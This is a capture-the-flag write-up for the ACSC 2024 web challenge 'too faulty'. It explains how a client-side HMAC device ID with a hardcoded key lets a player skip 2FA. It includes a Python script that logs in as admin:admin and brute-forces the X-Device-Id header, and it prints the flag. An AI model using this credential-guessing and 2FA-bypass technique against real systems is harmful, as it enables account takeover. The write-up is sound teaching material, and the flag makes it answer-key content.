Prologue
An online CTF competition by ACSC, this competition is qualification for competing in ICC for ASIA category.
Write Up
TL;DR Solution
The player guess an admin credentials, and brute-force the X-Device-ID
signature to bypass 2FA
Detailed Explanation
Initial Analysis
We were given a black-box challenge, the feature consists of register, login, and 2FA.
When we logged in, we were a given a dashboard where we can settings up 2FA and an information about our role.
After setting up 2FA and tried to login, we were given a feature of Trust only this device
.
Looking at traffic, there’s a header X-Device-Id
, which is not a default header.
Looking at login.js
, there’s a logic of how this signature created
document
.getElementById("loginForm")
.addEventListener("submit", function (event) {
event.preventDefault();
const username = document.getElementById("username").value;
const password = document.getElementById("password").value;
const browser = bowser.getParser(window.navigator.userAgent);
const browserObject = browser.getBrowser();
const versionReg = browserObject.version.match(/^(\d+\.\d+)/); //[1]
const version = versionReg ? versionReg[1] : "unknown";
const deviceId = CryptoJS.HmacSHA1(
`${browserObject.name} ${version}`,
"2846547907"
); //[2]
fetch("/login", {
method: "POST",
headers: {
"Content-Type": "application/json",
"X-Device-Id": deviceId,
},
body: JSON.stringify({ username, password }),
})
.then((response) => {
if (response.redirected) {
window.location.href = response.url;
} else if (response.ok) {
response.json().then((data) => {
if (data.redirect) {
window.location.href = data.redirect;
} else {
window.location.href = "/";
}
});
} else {
throw new Error("Login failed");
}
})
.catch((error) => {
console.error("Error:", error);
});
});
function redirectToRegister() {
window.location.href = "/register";
}
Basically, this signature only need a browser major and minor version [1], and then it will calculated with HMAC-SHA1 with browser name and version [2].
And if the signature correct, we don’t need to verify 2FA anymore.
Exploitation
Since there’s role of user
, I just assume there’s an admin
role too. I tried to login with common credentials admin:admin
and the credentials is correct. But, this account is protected with 2FA.
Since there’s no rate limit and the signature is guessable, we can just make a script and brute-force it.
import requests
from hashlib import sha1
import re
url = "https://versionhistory.googleapis.com/v1/chrome/platforms/win/channels/stable/versions"
import hmac
def make_signature(message, key, hashlib_type):
"""
works like CryptoJS.Hmac*
js:
>> CryptoJS.HmacSHA1(message, key).toString()
py:
>> make_signature(message, key, hashlib.sha1)
"""
key = bytes(key, 'utf-8')
message = bytes(message, 'utf-8')
hashed = hmac.new(key, message, hashlib_type)
return hashed.hexdigest()
a = requests.get(url).json()['versions']
r = re.compile(r"^(\d+\.\d+)")
sigs = []
for x in a:
c = r.match(x['version']).group()
z = make_signature(f"Chrome {c}", "2846547907", sha1)
sigs.append(z)
sigs = list(set(sigs))
print((sigs))
for sig in sigs:
burp0_url = "http://toofaulty.chal.2024.ctf.acsc.asia:80/login"
burp0_json={"password": "admin", "username": "admin"}
burp0_headers = {"X-Device-Id": sig}
res = requests.post(burp0_url, headers=burp0_headers, json=burp0_json)
if "Verify 2FA Code" not in res.text:
print(sig, res.text)
break
FLAG: ACSC{T0o_F4ulty_T0_B3_4dm1n}